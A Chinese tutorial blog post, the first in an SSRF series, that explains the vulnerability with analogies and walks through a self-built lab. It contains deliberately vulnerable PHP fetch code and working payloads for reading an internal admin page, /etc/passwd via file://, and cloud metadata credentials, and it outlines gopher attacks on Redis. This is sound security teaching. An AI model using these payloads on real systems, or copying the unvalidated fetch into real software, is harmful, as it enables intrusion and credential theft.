SSRF 从入门到实战:原理、危害与基础利用

本文为个人学习研究笔记,内容仅用于 SSRF 漏洞原理、复现环境搭建及安全防御技术研讨,所有实验均在自建、拥有完全授权的测试环境中完成。根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制 本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。


0. 先看一个"奇怪"的现象

假设你访问一个正常的网页快照服务,它长这样:

复制代码
你输入一个网址  ──→  服务器帮你抓取这个网址的内容  ──→  返回给你

现在你在输入框里填了一个不是网址的东西,而是服务器自己内部的地址:

复制代码
http://127.0.0.1:18080/admin

结果服务器居然老老实实地把"内部管理后台"的页面内容抓回来、返回给你了:

复制代码
【服务端抓取结果】
            <h1>内部管理后台</h1>
            <p>欢迎回来,管理员。</p>
            <p>当前登录身份:<b>root</b></p>
            <p>内部 API 密钥:<code>flag{SSRF_内网探测_成功_0x7f000001}</code></p>

这里就出现了一个值得你停下来想 30 秒的问题:

这个"内部管理后台",本来应该只有服务器自己(或者内网里的人)才能访问,凭什么你一个外部的普通用户,随便提交一个 URL 就能看到它的内容?

答案就是本篇文章要讲的主角:SSRF(Server-Side Request Forgery,服务端请求伪造)。


1. SSRF 到底是什么意思

1.1 一个类比

把"服务器"想象成银行柜台的柜员 ,把"你"想象成站在柜台外的客户。

  • 柜台的营业大厅是"外网",谁都能进;

  • 柜台后面的金库是"内网",只有柜员(服务器自己)能进去。

正常业务里,你会说:"柜员,帮我把这张支票兑现。"柜员自己去金库取钱,然后把钱给你。

SSRF 就是:你对柜员说:"柜员,帮我跑一趟金库,把里面那个保险箱里的东西念给我听。"

柜员没有多想,真的进去把保险箱打开,把内容念给你听了。

关键点在于:不是你直接闯进了金库,而是你借了柜员(服务器)的身份和权限,让柜员替你进金库办事。 这中间没有任何"撬锁",因为柜员本来就有金库钥匙。

1.2 正式一点的定义

SSRF 是指:攻击者让服务器对攻击者指定的目标发起请求,而这个目标本来是攻击者无法直接访问的(通常是内网地址、或服务器本机)。

一句话版本:服务器被你当成了"代理",帮你访问它才能访问的地方。

1.3 为什么服务器会这么"听话"?

因为很多正常的业务功能,天然就需要"服务器替用户去访问某个 URL",比如:

业务功能 服务器需要做的事 真实案例场景
网页快照 抓取用户给的 URL 内容 搜索引擎快照、链接预览
图片代理 下载远程图片再展示 很多网站为了避免图片防盗链、做缩略图
文件导入 从 URL 导入文件(如"通过链接导入 Markdown") 在线文档、笔记类产品
远程监控/体检 服务器去 ping/检查某个地址 站长工具、拨测系统
回调通知 服务器主动请求用户填的回调地址 支付回调、Webhook

这些功能有一个共同点:服务器必须信任用户提供的 URL,并去请求它。 一旦开发者没有限制"这个 URL 可以指向哪里",SSRF 就诞生了。

你可能会想:这不就是把用户输入当 URL 去请求吗,为什么这么常见?因为大多数开发者只想到"用户会给我一个正常的网址",没想到"用户会给我一个内网地址或本机地址"。 这属于典型的"信任了不该信任的输入"。


2. 为什么 SSRF 危险?

很多初学者觉得:"不就是让服务器访问一下内网吗,能怎样?"

答案是:能怎样,取决于内网里有什么。 下面按危害从低到高排:

2.1 探测内网存活与端口(信息收集)

攻击者可以让服务器去访问 http://10.0.0.1、http://10.0.0.2......根据返回结果的时间差异、报错内容,判断内网有哪些主机、开了哪些端口、跑着什么服务。这是后续攻击的"地图"。

2.2 读取本机或内网的敏感信息

  • file:///etc/passwd 读取服务器本地文件(如果协议没被禁用)

  • 访问内网的监控、后台、数据库管理界面(如 Redis、MySQL 管理台、Docker API 等)

2.3 打内网中"不设防"的服务(高危)

很多内网服务默认只监听 127.0.0.1,且没有密码,因为它们以为"只有本机程序能连我"。典型代表:

  • Redis(默认无密码,可通过 SSRF 的 gopher 协议直接下发命令 → 写 webshell → 拿下服务器)

  • Docker API (/var/run/docker.sock)

  • 云元数据服务 (AWS/阿里云/腾讯云的 169.254.169.254,能拿到服务器的临时凭据)

这里有一个反直觉的点,值得记住:内网服务"不设防"恰恰是因为它认为攻击者够不着它。 而 SSRF 的价值,就是把"够不着"变成"够得着"。

2.4 攻击云厂商元数据接口(真实高频漏洞)

在公有云上,每台虚拟机都能通过一个魔法 IP 169.254.169.254 访问到"元数据服务",里面有这台机器的 IAM 临时密钥、SSH 公钥、内网 IP 等。如果云上某个应用存在 SSRF,攻击者常常直接:

复制代码
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

拿到临时密钥,进而接管云资源。这是国内外各大 SRC(漏洞众测平台)里 SSRF 最常见、最值钱的利用方式。


3. 靶场

它由三部分组成:

角色 说明 监听地址
漏洞靶机 一个"网页快照/图片代理"服务,存在 SSRF 0.0.0.0:8080(对外)
内网管理后台 持有敏感 flag 的内部服务,只监听 127.0.0.1 127.0.0.1:18080
内网 Redis 无密码的内网数据库,只监听 127.0.0.1 127.0.0.1:6379

关键设定:内网服务和 Redis 都只绑定在 127.0.0.1 上,外部用户直接访问是访问不到的(在真实环境里,它们处于防火墙后的内网)。我们就是要通过漏洞靶机这个"柜员",去够到它们。

3.1 漏洞靶机代码(vuln.php)

复制代码
<?php
// 场景1:无任何过滤的抓取(最基础的 SSRF)
if (isset($_GET['fetch'])) {
    $url = $_GET['fetch'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);  // 跟随跳转(伏笔:后面绕过用)
    $res = curl_exec($ch);
    curl_close($ch);
    echo "【服务端抓取结果】\n" . $res;
    exit;
}
?>

这段代码非常"典型":用户输入的 $url 直接被塞进了 curl_setopt(..., CURLOPT_URL, $url),没有任何校验。 这就是 SSRF 的根源。

3.2 内网管理后台代码(internal_admin.py)

复制代码
import http.server, socketserver
​
FLAG = "flag{SSRF_内网探测_成功_0x7f000001}"
​
class AdminHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/admin':
            body = f"<h1>内部管理后台</h1>...内部 API 密钥:{FLAG}...".encode('utf-8')
            self.send_response(200)
            # ... 返回 HTML
        # ...
​
# 关键:只绑定 127.0.0.1,模拟"仅内网可访问"
socketserver.TCPServer(("127.0.0.1", 18080), AdminHandler).serve_forever()

注意最后一行:服务只绑定在 127.0.0.1。这意味着在真实网络里,外部用户连 18080 端口都连不上。

3.3 启动靶场

复制代码
# 1. 启动内网管理后台(只监听 127.0.0.1:18080)
python3 internal_admin.py &
​
# 2. 启动无密码 Redis(只监听 127.0.0.1:6379)
redis-server --port 6379 --bind 127.0.0.1 --protected-mode no &
​
# 3. 启动漏洞靶机(监听所有网卡 0.0.0.0:8080)
php -S 0.0.0.0:8080 vuln.php

验证一下:直接 curl http://127.0.0.1:18080/admin 能访问,但从"外部网络"是访问不到的------这就是 SSRF 要跨越的那道墙。


4. 第一次利用:最基础的 SSRF

4.1 正常用法 vs 攻击用法

靶机首页提供了一个表单,输入 URL。正常用户会输入 http://example.com。而攻击者输入的是内网地址:

复制代码
curl "http://127.0.0.1:8080/vuln.php?fetch=http://127.0.0.1:18080/admin"

返回:

复制代码
【服务端抓取结果】
​
            <h1>内部管理后台</h1>
            <p>欢迎回来,管理员。</p>
            <p>当前登录身份:<b>root</b></p>
            <p>内部 API 密钥:<code>flag{SSRF_内网探测_成功_0x7f000001}</code></p>

拿到 flag 了。

4.2 这背后发生了什么?(请求链路)

复制代码
你 (外部用户)
   │  发送:fetch=http://127.0.0.1:18080/admin
   ▼
漏洞靶机 (192.168.x.x:8080)   ← 你的请求只到了这一层
   │  靶机自己去请求:http://127.0.0.1:18080/admin
   ▼
内网管理后台 (127.0.0.1:18080)  ← 这一层,你本来够不到
   │  返回:内部 API 密钥 flag{...}
   ▼
漏洞靶机 → 把结果原样返回给你

关键理解 :请求是靶机发出的,不是你的浏览器发出的。所以"谁能访问 127.0.0.1:18080"这个问题上,用的是靶机的身份------靶机当然能访问它自己的 127.0.0.1。

你可能的疑问:127.0.0.1 不是我自己电脑吗?为什么写 127.0.0.1 是访问服务器? 这里要分清"这段 URL 是谁去解析的"。127.0.0.1 这个地址,在靶机的视角 里,指的就是靶机自己。因为最终是靶机去 curl 这个 URL,所以 127.0.0.1 就是"靶机本机"。你的浏览器从没直接请求过 127.0.0.1,它只是把字符串 127.0.0.1 传给了靶机。


5. SSRF 常用协议(由易到难逐个看)

SSRF 的威力很大程度上来自"服务器不止能发 HTTP 请求,还能用别的协议"。我们先认识三个,够用。

5.1 http:// 和 https://(最常用)

就是普通的网页请求,能访问内网任意 HTTP 服务。上面第 4 节用的就是它。

5.2 file://(读本地文件,最直观)

如果开发者的过滤只拦了内网 IP,没拦协议,攻击者可以:

复制代码
curl "http://127.0.0.1:8080/vuln.php?fetch=file:///etc/passwd"

真实返回:

复制代码
【服务端抓取结果】
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

file:///etc/passwd 让服务器把自己本地文件读出来返回给你。危害不言而喻。

你可能的疑问:为什么是三个斜杠 file:///? file:// 后面跟的是文件路径。Unix 的绝对路径本身就是以 / 开头,所以 file:// + /etc/passwd = file:///etc/passwd。中间的 // 是协议分隔符,最后那个 / 是路径开头的斜杠。

5.3 gopher://(最厉害,能"投喂"任意 TCP 数据)

这是 SSRF 进阶的核心,也是下篇的重点。这里先给你一个直觉:

  • http:// 只能发"符合 HTTP 格式"的请求;

  • gopher:// 能让你直接往目标端口塞任意字节 (_ 后面跟的字节会被原样发过去)。

这意味着:只要内网服务是"发文本/字节就能控制"的协议(比如 Redis、MySQL 的文本协议),gopher 就能直接跟它"对话"。这是 SSRF 从"读数据"升级到"执行命令/写文件"的关键一步。


6. 小结(上篇)

到这里你应该已经掌握:

  1. SSRF 是什么:让服务器替你访问它才能访问的地方(内网/本机/云元数据)。

  2. 为什么会有:业务需要服务器请求用户提供的 URL,而开发者没限制目标。

  3. 危害:探测内网 → 读敏感信息 → 打无密码内网服务 → 拿云凭据。

  4. 第一次利用 :fetch=http://127.0.0.1:18080/admin 拿到了内网后台的 flag。

  5. 三种协议 :http(访问网页)、file(读文件)、gopher(投喂任意 TCP 数据)。

下篇预告:真实的漏洞往往不会这么"裸",开发者会加各种过滤(黑名单、白名单、限制协议)。下篇我们讲:

  • 如何绕过 127.0.0.1 黑名单(十六进制、十进制、八进制、302 跳转......)

  • 如何用 gopher:// 真实打穿无密码 Redis,写入 webshell 实现 RCE

  • 完整的攻击链演示 + 防御建议

相关推荐
wespaul3 小时前
VeapAI 自然语言操作实战|第 07 篇:执行层——编排引擎与全局语义命令
服务器·人工智能·milvus
lambo mercy3 小时前
Day4:流式传输
运维·服务器·网络
墨云安全3 小时前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
I'm Jie3 小时前
Rhost v2.0.0 版本发布!!!不止 SSH 终端,内置 AI Agent 支持自然语言操作远程服务器
运维·服务器·rust·开源·ssh·tauri·finalshell
Spatial3Ddddd4 小时前
2026空间三维重建服务商横向对比
java·服务器·人工智能
H.莓飛4 小时前
【Linux】进程的创建与终止
linux·运维·服务器·c语言·visual studio
福大大架构师每日一题4 小时前
agno v3.1.3发布:外部智能体全面进入“可持久化、可恢复、可取消、可回放”时代
服务器·数据库·php
chenxy024 小时前
国产加速卡-应知应会
linux·运维·服务器
data analyse 4565 小时前
页面卸载时埋点上报总丢失?sendBeacon 上报与补偿方案
大数据·运维·服务器·前端·数据库·人工智能·数据分析
吴佳浩 Alben5 小时前
一文看懂大模型推理为什么需要多卡:从 TP、DP 到 Runtime 的完整演进
运维·服务器·人工智能·深度学习·语言模型·vllm·sglang